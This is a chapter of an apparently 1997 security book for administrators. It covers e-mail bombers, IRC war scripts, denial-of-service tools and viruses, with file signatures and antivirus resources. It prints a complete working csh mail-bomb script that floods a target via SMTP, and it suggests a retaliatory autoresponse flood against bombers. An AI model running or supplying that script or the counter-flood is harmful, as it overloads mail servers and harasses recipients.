A Hacker's Guide to Protecting Your Internet Site and Network
In this chapter, I examine munitions that I classify as destructive devices. Destructive devices are software programs or techniques that accomplish either of the following objectives:
These devices are all relatively low-level tools and techniques, more likely to be employed by immature users, disgruntled employees, or kids. Such tools and techniques exist, to the chagrin of the serious computing communities, but they exist nonetheless. It is important that new system administrators (and indeed, average users) know about such destructive devices, so I have included them here even though they are not front-line security issues for most networks.
The use of these devices is becoming widespread. With the rise of the GUI (and the increased availability of programming tools and languages to the general populace), this trend can only be expected to continue.
It should be noted that destructive devices can be a security risk for small networks or single servers. If your box is hooked up via Ethernet with a fast connection and you have only one mail server, an e-mail bomb attack on one of your users could temporarily grind your machine to a halt.
I have chosen to highlight four key utilities within the destructive device class:
Of these items, only the last two (denial-of-service tools and viruses) are of any real consequence. They have the potential for real damage or, equally dangerous, serious breach of a server's security. (These are discussed in the last half of this chapter.) The first two, in contrast, have been briefly dealt with in previous chapters. Here, I take a more comprehensive look at these innocuous but irritating tidbits.
The E-mail Bomb
I cannot say for certain when the first user "e-mail bombed" another. However, I imagine it wasn't long after e-mail became available. (Old-timers adamantly dispute this, explaining that they were far too responsible for such primitive activity. Hmmm.) In any event, in this section you will find the key utilities being distributed for this purpose.
The Up Yours mail-bombing program is probably the most popular bomber out there. It uses minimal resources, does a superb job, has a simple user interface, and attempts to obscure the attacker's source address. Features of the program include being able to specify times of day to start and stop as well as the number of messages with which it will hammer the target.
Version 2.0 of this utility was released sometime in March 1997. This bomber runs only on the Microsoft Windows platform. As you might expect, the tech support is wanting, but the program is free nonetheless. If you are a system administrator, you will want to scan your local drives for the following files:
upyours.exe upyours2.zip upyours3.zip
If these files appear in a user's directory, there is a strong likelihood that he is about to e-mail bomb someone (of course, perhaps he simply spends his time collecting hacking and cracking programs). In any event, the utility is hard to find. If one of your users has acquired this program, he clearly has an interest in hacking or cracking.
KaBoom differs significantly from Up Yours. For one thing, KaBoom has increased functionality. For example, traveling from the opening screen to the main program, you find a utility to list link. Using this function, you can subscribe your target to hundreds of e-mail lists. (Do you remember the case in Chapter 4, "Just Who Can be Hacked, Anyway?," where a senior editor of Time magazine was list linked to thousands of mailing lists?)
This utility works quite well, but the interface is poorly programmed. (For example, the main list window presents the lists as selectable from check boxes. This is shoddy work. The programmer could have saved time and space by running them through a list box instead. It takes a lot of work using this utility to link the target to any significant number of lists; the bombing party is forced to scroll down to obtain more lists.)
In any event, this utility's signature files are these:
The Avalanche e-mail bombing utility works smoothly and is well designed. The list groups are displayed in a drop-down combo box, and their individual lists are displayed in a list box. Three clicks of a mouse and your target is in hot water.
The signature files for this product are
alanch10.zip avalanche20.zip avalanche.exe
The Unabomber utility is a rudimentary tool, but one must give the author credit for humor. Unabomber offers no list-linking capabilities. It is essentially a flat e-mail bomber and does no more than send messages over and over. One interesting element is that Unabomber comes with a help function. (As though you would actually need it.)
The signature files for this utility are
eXtreme Mail is well programmed. It has all the basic features of a commercial application, including an interactive installation process. The installation process performs all the routine checks for disk space, resources, and so forth. It also observes proper registry conventions and is easily uninstalled. This is a relatively new mail bomber, and apparently, the name eXtreme is also the name of the group that produced the software.
The signature files for this product are
The Homicide utility was written by a youngster with the moniker Frys and was discontinued in 1996. The author claims that he wrote the utility because Up Yours 2.0 was inadequate as an e-mail bombing tool. However, with the release of Up Yours 3.0, Frys apparently decided to discontinue any further releases. As of March 1997, it is available only at a very few select sites. The signature files for this utility are
The UNIX MailBomb
This UNIX e-mail bomber is reportedly written by CyberGoat, an anonymous cracker out in the void. The programming is so-so. In fact, the author made no provisions in the event that the originating server has restrictions on multiple processes. (Perhaps a sleep call would have been wise.) The signature file on this one is mailbomb.csh.
#!/bin/csh # Anonymous Mailbomber # do chmod u+rwx <filename> where # filename is the name of the file that # you saved it as. #*** WARNING - THIS WILL CREATE AND # DELETE A TEMP FILE CALLED # "teltemp" # IN THE DIRECTORY IT IS RUN FROM **** clear echo -n "What is the name or address of the smtp server?" set server = $< #echo open $server 25 > teltemp echo quote helo somewhere.com >> teltemp #The entry for the following should be a single name (goober), #not firstname.lastname@example.org. echo -n "Who will this be from (e.g. somebody) ?" set from = $< echo quote mail from: $from >> teltemp echo -n "Who is the lucky recipient (e.g. someone@somewhere)?" set name = $< echo quote rcpt to: $name >> teltemp echo quote data >> teltemp echo quote . >> teltemp echo quote quit >> teltemp echo quit >> teltemp echo -n "How many times should it be sent ?" set amount = $< set loop_count = 1 while ($loop_count <= $amount) echo "Done $loop_count" ftp -n $server 25 < teltemp @ loop_count++ end rm ./teltemp echo $amount e-mails complete to $name from $from@$server # -------------------- # MailBomb by CyBerGoAT
The Bombtrack utility is reportedly the first mail-bombing tool written for the Macintosh platform. (This is of some significance. Programming a garden-variety utility like this on the Microsoft Windows platform is simple, and can be accomplished almost entirely with a visual design interface. Very little code needs to go into it. Writing for the Mac platform, however, is a slightly different affair.)
Basically, Bombtrack is another run-of-the-mill bombing utility, widely available at hacker sites across the Internet. The signature file for this application is
FlameThrower is a bombing utility written for Macintosh. Its main purpose is list linking; it allows the user to subscribe his target to 100 lists. The binary is quite large, considering its intended purpose. The author should get some credit for style of design, but Macintosh users are fairly stylish as a rule. The signature for this file is
General Information About E-Mail Bombs
E-mail bombing is nothing more than nuisance material. The cure is generally a kill file or an exclusionary scheme. An exclusionary scheme is where you bar entry of packets received from the source address. As discussed in Chapter 13, "Techniques to Hide One's Identity," obtaining the source address is a fairly simple process, at least in a UNIX environment. Really, it involves no more than reading the message in Mail as opposed to Pine or Elm; this will reveal the actual source address and expand the path. Examining the complete path (even in Netscape Navigator, for example) will give you the originating mail server.
If you maintain a site and malicious users from the void start bombing you, contact their postmaster. This is usually quite effective; the user will be counseled that this behavior is unnecessary and that it will not be tolerated. In most cases, this proves to be a sufficient deterrent. (Some providers are even harsh enough to terminate the account then and there.) However, if you are faced with a more difficult situation (for example, the ISP couldn't care less if its users bombed the Internet collectively), you might have to take more aggressive measures.
One such measure is to block traffic from the originating network at the router level. (There are various packet-filtering techniques that you can apply.) However, if this doesn't suit your needs (or your temperament), there are other, more proactive solutions. One fine technique that's guaranteed to work is this: Fashion a script that catches the offending e-mail address each time it connects to your mail server. For each such connection request, terminate the connection and autorespond with a polite, 10-page advisory on how such attacks violate acceptable use policies and that, under certain circumstances, they may violate the law. After the offending party has received 1,000 or so returns of this nature, his previously unconcerned provider will bring the offender onto the carpet and promptly chop off his fingers.
There are renegade providers around, and there is absolutely no reason that you cannot undertake such action. After all, you have done no more than refuse the connection and issue an advisory. It is hardly your fault if the warning was not heeded. Notwithstanding various pieces of legislation to bring the Internet into the civilized world, it is still much like the Old West. If another provider refuses to abide by the law and generally accepted practices, take it down to the OK Corral. One last point here: To make this technique especially effective, be sure to CC the postmaster of the bomber's site with each autorespond message.
IRC: Flash Bombs and War Scripts
Flash utilities (also referred to as flash bombs) belong to a class of munitions that are used on Internet Relay Chat (IRC). IRC is the last free frontier because it is spontaneous and uncontrollable. It consists of people chatting endlessly, from virtual channel to virtual channel. There is no time for advertisements, really, and even if you tried to push your product there, you would likely be blown off the channel before you had a chance to say much of anything.
In this respect, IRC is different from any other networked service on the Internet. IRC is grass roots and revolutionary Internet at its best (and worst), and with all likelihood, it will remain that way forever.
IRC was developed in Finland in the late 1980s. Some suggest that its purpose was to replace other networking tools of a similar ilk (for example, the talk service in UNIX). Talk is a system whereby two individuals can communicate on text-based terminals. The screens of both users split into two parts, one for received text and one for sent text. In this respect, talk operates a lot like a direct link between machines using any of the popular communications packages available on the market (Qmodem and ProComm Plus are good examples). The major difference is that talk occurs over the Internet; the connection is bound by e-mail address. For example, to converse with another party via talk, you issue a command as follows:
This causes the local talk program to contact the remote talk daemon. If the person is available (and hasn't disabled incoming connections via talk), the screen soon splits and the conversation begins.
IRC differs from talk in that many people can converse at the same time. This was a major innovation, and IRC chatting has become one of the most popular methods of communication on the Net.
Internet warfare (that is, "hand-to-hand" combat) often occurs on IRC because IRC is lawless--a place where almost anything goes. Briefly, it works like this: Once connected to an IRC server, a user can go into a series of channels called chat spaces. Inside each channel, there is an operator, or a person who has some authority--authority, for example, to "kick" any user forwarding information that the operator deems objectionable. (Kicking is where the target is bumped from the channel and is forced to reconnect.) The operator can also ban a user from the channel, either temporarily or semi-permanently.
As you might expect, people who get kicked or banned often respond angrily. This is where combat begins. Since the introduction of IRC, dozens of munitions have been developed for use in IRC combat. They are described in the following sections.
Although not originally designed for it, crash.irc will blow a Netcom target out of IRC. In other words, an attacker uses this utility to force a Netcom user from a channel (Netcom is a very large ISP located in northern California).
The botkill2.irc script kills bots. Bots are other automated scripts that run in the IRC environment.
ACME is a typical "war" script. Its features include flooding (where you fill the channel with garbage, thereby denying others the ability to communicate) and the ability to auto-kick someone from a channel.
Saga is a sophisticated and complex script; it performs more functions than those used in combat. The main features are that it can
THUGS is another war script. It blows various client programs from IRC, kicks unwanted users, seizes control of a channel, and hangs at least one known Windows IRC program.
The 7th Sphere
Another war script worth mentioning is The 7th Sphere. The help file describes the utility as "An Equal Opportunity Destroyer." Here are some of its capabilities:
There are probably several thousand IRC scripts in the void. I have not offered any locations for these utilities because there is no good reason to provide such information. These tools may be of some limited value if you happen to be on IRC and come under attack, but more often, these tools are used to harass others and deny others IRC service. It is amazing how much good programming effort goes into utilities like these. Too bad.
Following are some resources related to Internet Relay Chat (IRC). These are especially valuable if you are new to IRC. I have provided these primarily because IRC is not a subject often discussed in books on the Internet. IRC has been--and will likely remain--the purview of crackers and hackers all over the world.
I examine denial-of-service attacks in a more comprehensive manner at several points throughout the remainder of this book. Here, I will refrain from discussing how such attacks are implemented, but will tell you what tools are out there to do so.
Ancient Chinese "Ping of Death" Technique
The title is hilarious, right? On more than one occasion, this technique for killing a Windows NT 3.51 server has been so called. (Actually, it is more commonly called just "Ping of Death.") This is not a program, but a simple technique that involves sending abnormally large ping packets. When the target receives (or in certain instances, sends) these large packets, it dies. This results in a blue screen with error messages from which the machine does not recover. Microsoft has issued a fix for this.
Syn_Flooder is a small utility, distributed in C source, that when used against a UNIX server will temporarily render that server inoperable. It utilizes a standard technique of flooding the machine with half-open connection requests. The source is available on the Net, but I will refrain from printing it here. This is a powerful tool and, other than its research value, it is of no benefit to the Internet community. Using such a tool is, by the way, a violation of federal law, punishable by a term of imprisonment. The utility runs on any UNIX machine, but was written on the Linux platform by a well-known hacker in California.
DNSKiller is a C program written and intended for execution on the Linux platform. It is designed to kill the DNS server of a Windows NT 4.0 box.
arnudp100.c is a program that forges the IP address of UDP packets and can be used to implement a denial-of-service attack on UDP ports 7, 13, 19, and 37. To understand the attack, I recommend examining a paper titled "Defining Strategies to Protect Against UDP Diagnostic Port Denial of Service Attacks," by Cisco Systems. Another good source for this information is CERT Advisory CA-96.01.
cbcb.c is the filename for Cancelbot, written in C. This utility can be used to target Usenet news postings of others. It generates cancel control messages for each message fitting your criteria. Using this utility, you can make thousands of Usenet news messages disappear. Although this is not traditionally viewed as a denial-of-service attack, I have included it here simply because it denies the target Usenet service, or more directly, denies him his right to self expression. (No matter how obnoxious his opinion might seem to others.)
The win95ping.c file is C source code and a program to reproduce and implement a form of the Ping of Death attack from a UNIX box. It can be used to blow a machine off the Net temporarily (using the oversized Ping packet technique). There are two versions: one for Linux, the other for BSD 4.4 systems.
Other resources exist, but most of them are shell scripts written for use on the UNIX platform. Nevertheless, I would expect that within a few months, tools programmed in GUI for Windows and Mac will crop up. Denial-of-service (DoS) attacks are infantile and represent only a slightly higher level of sophistication than e-mail bombing. The only benefit that comes from DoS attacks is that they will ultimately provide sufficient incentive for the programming community to completely eliminate the holes that allowed such attacks in the first place. In all other respects, denial-of-service attacks are neither interesting nor particularly clever. In any event, the following sections list some resources for them.
Products by ANS Communications are designed to thwart DoS attacks. ANS Communications can be found online at
Berkeley Software Design, Inc.
Berkeley Software Design, Inc. released source code that will defeat a DoS attack. It can be found online at
MCI Security offers links relating to denial-of-service attacks, and can be found online at
Digital offers information on preventing DoS on the DEC platform, and can be found online at
Cisco Systems offers solutions at the router level, and can be found online at
Viruses are serious matters. For such small entities, they can wreak havoc on a computer system. (Some viruses are as small as 380 bytes.) They are especially dangerous when released into networked environments (the Internet being one such environment).
Viruses have gained so much attention in the computing community that nearly everyone knows that viruses exist. However, some users confuse viruses with other malicious files. Therefore, I thought it might be nice to quickly define the term computer virus. Once again, if you are already well aware of these basic facts, skip ahead a few paragraphs.
A computer virus is a program, sometimes (but not necessarily) destructive, that is designed to travel from machine to machine, "infecting" each one along the way. This infection usually involves the virus attaching itself to other files.
This is markedly different from a trojan horse. A trojan horse is a static entity: malicious code nested within an otherwise harmless program. Trojans cannot travel from machine to machine unless the file that contains the trojan also travels with it. A trojan is commonly a string of computer code that has been surreptitiously placed within a trusted application. That code performs an unauthorized and hidden function, one that the user would almost certainly find objectionable. (For example, mailing out the password files to an attacker in the void, or perhaps opening a back door for him. A back door is some hidden method through which an attacker can later return to the affected machine and gain control over it.)
Viruses, in contrast, replicate. Most often, this phenomenon manifests itself by the virus attaching itself to a certain class of file. For example, it is very common for viruses to attach themselves to executable files. (On the DOS/Windows platform, viruses frequently target EXE and COM files.) Once the virus is attached to a file in this manner, the victim file itself becomes a security risk. That file, when transported to another computer system, can infect still other files that may never come in contact with the original virus program.
Try to think of a virus as a living creature for a moment. Its purpose is to infect computer systems, so it stays awake at all times, listening for activity on the system. When that activity fits a certain criterion (for example, an executable file executing), the virus jumps into action, attaching itself to the active program.
If you have ever encountered a virus, you might have noticed that they are incredibly small (that is, for a program that can do so much). There is a good reason for this. Most viruses are written in a language called assembly language. Assembly language is classified in the computing community as a low-level language, meaning that it produces very small programs.
To understand what I mean by "low-level," consider this: Computers have become quite user friendly. Today, advanced technologies allow a user to almost "talk" to a machine and get suitable answers. (Consider, for example, the new Answer wizards in Microsoft products. You can basically type out a question in plain English. The internal program routines parse your question and search the database, and out comes the answer.) This is quite a parlor trick, and gives the illusion that the machine is conversing with you.
In reality, computers speak a language all their own. It is called machine language, and it consists of numbers and code that are unreadable by a human being. The classification of a "low" or "high" language depends solely on how close (or how far) that language is from machine language. A high- or medium-level language is one that involves the use of plain English and math, expressed much in the same manner as you might present it to a human being. BASIC, Pascal, and the C programming language all fit into the medium-level class of language: You can "tell" the machine what each function is, what it does, and how it does it.
Assembly language is only one step removed from machine language and is therefore a very low-level language. And, because it speaks so directly to the machine's hardware, the resulting programs are very small. (In other words, the translation process is minimal. This is greatly different from C, where substantial translation must occur to get the plain English into machine-readable code. The less translation that has to be done, the smaller the binary that results.)
Programs written in assembly language execute with great speed, often many times faster than those written in higher-level languages. So, viruses are small, fast, and, to users who are unprepared, difficult to detect.
There are many different types of viruses, but one of the most critical is the boot sector virus. To get you started on understanding how viruses work, I have picked the boot sector virus as a model.
Many users are unaware of how their hard disk drive works in conjunction with the rest of the system. I want to explore that process for just a moment.
Hard disks drives rely upon data stored in the master boot record (MBR) to perform basic boot procedures. The MBR is located at cylinder 0, head 0, sector 1. (Or, Logical Block Address 0. LBA methods of addressing vary slightly from conventional addressing; Sector 1=LBA 0.)
For such a small area of the disk, the MBR performs a vital function: It explains the characteristics of the disk to every other program that happens by. To do this, it stores information regarding the structure of the disk. This information is referred to as the partition table.
When a machine boots up, it proceeds, assuming that the CMOS settings are correct. These values are read and double-checked. If it finds that the default boot disk is actually 1GB when the BIOS settings suggest 500MB, there will be a problem. (The machine will not boot, and an error message will be generated.) Similarly, the RAM is tested for bad memory addresses. Eventually, when no errors have been encountered, the actual boot process begins. At that stage, the MBR takes the helm and the disk boots. When the boot sector has been infected by a virus, a critical situation develops.
As explained by the specialists at McAfee, the leading virus protection vendor:
MBR viruses are particularly insidious because they attack floppy disks whenever they are accessed by your machine. It is for this reason that MBR viruses are so commonly seen in the wild--because they infect floppies, they can travel from machine to machine fairly easily.
In any event, assume for the moment that you have a "clean" MBR. How does a virus manage to infect it? The infection process happens when you boot with an infected floppy diskette. Consider this situation: You decide that you are going to load a new operating system onto the drive. To do this, you use a boot floppy. (This boot floppy will contain a small boot routine that guides you through the installation.) Fine.
During the boot process, the virus loads itself into memory, although generally not the upper memory. In fact, very few viruses are known to reside in upper memory. When one does, it is usually because it has piggybacked its way there; in other words, it has attached itself to an executable or a driver that always loads high. This is rare.
Once loaded into memory, the virus reads the MBR partition information. In some cases, the virus programmer has added a routine that will check for previous infection of the MBR. It checks for infection not only by his own virus, but by someone else's as well. This procedure is usually limited in scope, because the programmer wants to save resources. A virus that could check for many other viruses before installing would characteristically be larger, more easily detected, less easily transmitted, and so forth. In any event, the virus then replaces the MBR information with its own, modified version. The installation procedure is complete.
I have personal experience with just such a virus, called antiexe. A friend came to my office so I could assist him in preparing a presentation. He brought with him a small laptop that had been used at his company. Apparently, one of the employees had been playing a game on the laptop that required a boot disk. (Some games have strange memory-management routines that are not compatible with various user configurations. These typically request that you generate a boot disk and undertake other annoying procedures.) Through a series of unfortunate events, this virus was transferred from that laptop to one of my machines. The curious thing is this: I did have a terminate-and-stay-resident (TSR) virus checker installed on the infected machine. This was a well-known product, but I will not mention its name here lest I cause a panic. For some inexplicable reason, the TSR virus checker did not catch antiexe when it infected my MBR, but only after the machine was rebooted a day or so later. At any rate, I woke to find that my machine had been infected. Antiexe is described in the CIAC database as follows:
It was no problem to eliminate the virus. The same product that initially failed to detect antiexe destroyed it without event. The time I lost as a result was minimal.
Most viruses do not actually destroy data; they simply infect disks or files. There are, however, many occasions on which infection alone is enough to disrupt service; for example, some drivers operate erratically when infected. This is not to say, however, that there are no destructive viruses.
Who writes viruses? Many different types of programmers from many different walks of life. Kids are a common source. There are kits floating around on the Internet that will assist budding programmers in creating viruses. It has been theorized that young people sometimes write viruses to "make their mark" on the computing communities. Because these young people do not actually work in computer programming, they figure that writing a virus is one way to make a name for themselves. (A good percentage of virus authors take a pseudonym or "handle" and write under that. This moniker is sometimes found within the code of the virus.)
One interesting aspect of the virus-writing community is that vanity, envy, and fierce competition often influence the way such viruses are written. For example:
As I have already noted, many programmers develop viruses using virus kits, or applications that are designed specifically to generate virus code. These kits are circulated on the Internet. Here are the names of a few:
These kits are usually quite easy to use, thereby allowing almost anyone to create a virus. (This is in contrast to the "old days," when advanced programming knowledge was required.) This has resulted in an increase in viruses in the wild.
Reportedly, the first virus ever detected in the wild emerged in 1986. It was called the Brain virus. According to the CIAC Virus Database at the U.S. Department of Energy, the Brain virus was a memory-resident boot sector virus:
The following year brought with it a host of different viruses, including some that did actual damage. The Merrit virus (which emerged in 1987) could destroy the file allocation table (FAT) on a floppy disk. This virus apparently went through several stages of evolution, the most dangerous of which was a version called Golden Gate. Golden Gate reportedly could reformat the hard disk drive.
Since then, innovations in virus technology have caused these creatures to become increasingly complex. This has led to classifications. For example, there are basically three types of virus:
I have already briefly examined a MBR virus in this chapter. The only material difference between that type and a garden-variety boot sector virus is that boot sector viruses target floppies. However, the third class of virus (the file virus) is a bit different. In contrast to boot sector viruses (which attack only a small portion of the disk), file viruses can spread systemwide.
Most often, file viruses infect only a particular class of file--usually executable files. COM and EXE files are good examples. File viruses, however, are not restricted to executables; some will infect overlay files (OVL) or even system driver files (SYS, DRV).
It is estimated that there are currently more than 7,000 file viruses on the DOS platform alone. As you might expect, virus authors are eager to write file viruses because of how far these can spread. Given 10 days on a computer system, a file virus can effectively infect the majority (or perhaps even all) of the executable files on the hard disk drive. This is due to the manner in which file viruses operate.
Under normal operations (on a noninfected machine), a command is executed and loaded into memory without event. (This could equally be a COM file. I just happened to have used the .EXE extension.) When a file virus is present, however, the process is complicated because the virus now intercepts the call.
First, the virus temporarily intercepts the process for long enough to infect the program file. After infecting the program file, the virus releases its control over the system, returning the reins to the operating system. The operating system then loads the infected file into memory. This process will be repeated for each file loaded into the system memory. Stop and think for a moment about this. How many files are loaded into memory in the course of a business day? This is how file viruses ultimately achieve systemic infection of the system.
In addition to the classifications of viruses, there are also different types of viruses. These types are derived from the manner in which the virus operates or what programming techniques were employed in its creation. Here are two:
Virus technology continues to increase in complexity, largely due to the number of new viruses that are discovered. The likelihood of contracting a virus on the Internet is slim, but not impossible. It depends on where you go. If you are an individual and you frequent the back alleys of the Internet, you should exercise caution in downloading any file (digitally signed or otherwise). Usenet newsgroups are places where viruses might be found, especially in those newsgroups where hot or restricted material is trafficked. Examples of such material include warez (pirated software) or pornography. I would strongly caution against downloading any zipped or archived file from groups trafficking this type of material. Similarly, newsgroups that traffic cracking utilities are suspect.
If you are a system administrator, I have different advice. First, it is true that the majority of viruses are written for the IBM-compatible platforms (specifically, platforms on which users run DOS, Windows, Windows NT, and Windows 95). If your network is composed of machines running these operating systems and you offer your users access to the Internet, you have a problem.
There is no reliable way to restrict the types of files that your users download. You can institute policies that forbid all downloads, and your users will probably still download a file here and a file there. Human nature is just that way. Therefore, I would recommend that you run memory-resident virus scanners on all machines in the domain, 24 hours a day. (At the end of this section, you will find some resources for obtaining such products.)
To learn more about how viruses work, you should spend some time at a virus database on the Internet. There are several such databases that provide exhaustive information on known viruses. The most comprehensive and useful site I have ever found is at the Department of Energy.
The list is presented in alphabetical order, but can be traversed by searching for platform. You will instantly see that most viruses were written for the Microsoft platform, and the majority of those for DOS. What you will not see are any known in-the-wild viruses for UNIX. However, by the time this book is printed, such information may be available. There is talk on the Internet of a virus for the Linux platform called Bliss.
Reports on Bliss at the time of this writing are sketchy, but it appears that Bliss is a virus. There is some argument on the Internet as to whether Bliss qualifies more as a trojan, but the majority of reports suggest otherwise. Furthermore, it is reported that it compiles cleanly on other UNIX platforms.
It is extremely unlikely that your box would be infected. The author of the program took steps to prevent all but experienced programmers from unpacking and using this virus. However, if you should discover that your machine is infected with this new virus, you should immediately submit a report to Usenet and several bug lists, describing what, if any, damage has been done to your system.
I would like to explain why the majority of viruses are written for personal computer platforms and not for UNIX, for example. In UNIX (and also in Windows NT), great control can be exercised over who has access to files. Restrictions can be placed on a file so that user A can access the file but user B cannot. Because of this phenomenon (called access control), viruses would be unable to travel very far in such an environment. They would not, for example, be able to cause a systemic infection.
In any event, viruses do represent a risk on the Internet. That risk is obviously more relevant to those running DOS or any variant of Windows. Following are some tools to keep your system safe from virus attack.
Following is a list of well-known and reliable virus-detection utilities. I have experience using all the entries in this list, and can recommend every one. However, I should stress that just because a utility is absent from this list does not mean that it isn't good. Hundreds of virus-detection utilities are available on the Internet. Most of them employ similar techniques of detection.
VirusScan for Windows 95
VirusScan for Windows 95 by McAfee can be found online at
Thunderbyte Anti-Virus for Windows 95
Thunderbyte Anti-Virus for Windows 95 can be found online at
Norton Anti-Virus for DOS, Windows 95, and Windows NT
Norton Anti-Virus for DOS, Windows 95, and Windows NT by Symantec can be found online at
ViruSafe by Eliashim can be found online at
PC-Cillin II by Check-It can be found online at
FindVirus for DOS v. 7.68
Dr. Solomon's FindVirus for DOS version 7.68 can be found online at
Sweep for Windows 95 and Windows NT
Sweep for Windows 95 and Windows NT by Sophos can be found online at
Iris Antivirus Plus
Iris Antivirus Plus by Iris Software can be found online at
LANDesk Virus Protect v4.0 for NetWare and Windows NT
LANDesk Virus Protect version 4.0 for NetWare and Windows NT by Intel can be found online at
Norman Virus Control
Norman Virus Control by Norman Data Defense Systems can be found online at
F-PROT Professional Anti-Virus Toolkit
F-PROT Professional Anti-Virus Toolkit by DataFellows can be found online at
The Integrity Master
The Integrity Master by Stiller Research can be found online at
There are quite literally hundreds of virus scanners and utilities. I have mentioned these primarily because they are easily available on the Internet and because they are updated frequently. This is an important point: Viruses are found each day, all over the world. Because virus authors continue to churn out new works (and these often implement new techniques, including stealth), it is imperative that you get the very latest tools.
Conversely, perhaps you have some old machines lying around that run early versions of this or that operating system. On such systems, you may not be able to run Windows 95 or Windows NT software. To present you with a wide range of choices, I suggest that you go to one of the following sites, each of which has many, many virus utilities:
The Simtel.Net MS-DOS Collection at the OAK Repository
The Simtel.Net MS-DOS collection at the OAK repository offers virus detection and removal programs. This site is located online at
The Simtel.Net Windows 3.x Collection at the OAK Repository
The Simtel.Net Windows 3.x collection at the OAK repository offers virus detection and removal programs. This site is located online at
Destructive devices are of significant concern not only to those running Internet information servers, but to all users. Many people find it hard to fathom why anyone would create such programs, especially because data is now so heavily relied on. This is a question that only virus writers can answer. In any event, every user (particularly those who use the Internet) should obtain a basic education in destructive devices. If you are now using the Internet, it is very likely that you will eventually encounter such a device. For this reason, you must observe one of the most important commandments of computer use: back up frequently. If you fail to observe this, you may later suffer serious consequences.
The following is a list of articles, books, and Web pages related to the subject of computer viruses. Some of the books are a bit dated, but are now considered standards in the field.
Robert Slade's Guide to Computer Viruses : How to Avoid Them, How to Get Rid of Them, and How to Get Help (Second Edition). Springer. 1996. ISBN 0-387-94663-2.
Virus: Detection and Elimination. Rune Skardhamar. AP Professional. 1996. ISBN 0-12-647690-X.
The Giant Black Book of Computer Viruses. Mark A. Ludwig. American Eagle. 1995.
1996 Computer Virus Prevalence Survey. NCSA National Computer Security Association. (Very good.)
The Computer Virus Crisis. Fites, Johnson, and Kratz. Van Nostrand Reinhold Computer Publishing. ISBN 0-442-28532-9. 1988.
Computer Viruses and Related Threats: a Management Guide. National Technical Information Service (NTIS). PB90-115601CAU.
A Passive Defense Against Computer Viruses. Frank Hoffmeister. Proceedings of the IASTED International Symposium Applied Informatics. pp. 176-179. Acta Press. 1987.
PC Security and Virus Protection: the Ongoing War Against Information Sabotage. Pamela Kane. M&T Books. ISBN 1-55851-390-6. 1994.
How Prevalent are Computer Viruses? Jeffrey O. Kephart and Steve R. White. Technical Report RC 17822 No78319. Watson. 1992.
A Short Course on Computer Viruses (Second Edition). Frederick B. Cohen. Series title: Wiley Professional Computing. John Wiley & Sons. 1994. ISBN 1-471-00769-2
A Pathology of Computer Viruses. David Ferbrache. Springer-Verlag. ISBN 0-387-19610-2; 3-540-19610-2. 1992.
The Virus Creation Labs: A Journey into the Underground. George Smith. American Eagle Publications. ISBN 0-929408-09-8. Also reviewed in Net Magazine, February 1996.
Viruses in Chicago: The Threat to Windows 95. Ian Whalley, Editor. Virus Bulletin. Abingdon Science Park, England.
Computer Virus Help Desk. Courtesy of the Computer Virus Research Center. Indianapolis, Indiana.
European Institute for Computer Anti-Virus Research.
Future Trends in Virus Writing. Vesselin Bontchev. Virus Test Center. University of Hamburg.
A Biologically Inspired Immune System for Computers. Jeffrey O. Kephart. High Integrity Computing Laboratory, IBM. Thomas J. Watson Research Center.
Dr. Solomon's Virus Encyclopedia.
An Overview of Computer Viruses in a Research Environment. Matt Bishop. Washington, D.C.: National Aeronautics and Space Administration. Springfield, Va. Distributor: National Technical Information Service. 1991.
Internet Computer Virus and the Vulnerability of National Telecommunications Networks to Computer Viruses. Jack L. Brock. November 1988. GAO/T-IMTEC-89-10, Washington, D.C., 20 July 1989. Testimonial statement of Jack L. Brock, Director, U. S. Government Information before the Subcommittee on Telecommunications and Finance, Committee on Energy and Commerce, House of Representatives.
A Guide to the Selection of Anti-Virus Tools and Techniques. W. T. Polk and L. E. Bassham. National Institute of Standards and Technology Computer Security Division.
Previous chapter Next chapter Contents
© Copyright, Macmillan Computer Publishing. All rights reserved.
With any suggestions or questions please feel free to contact us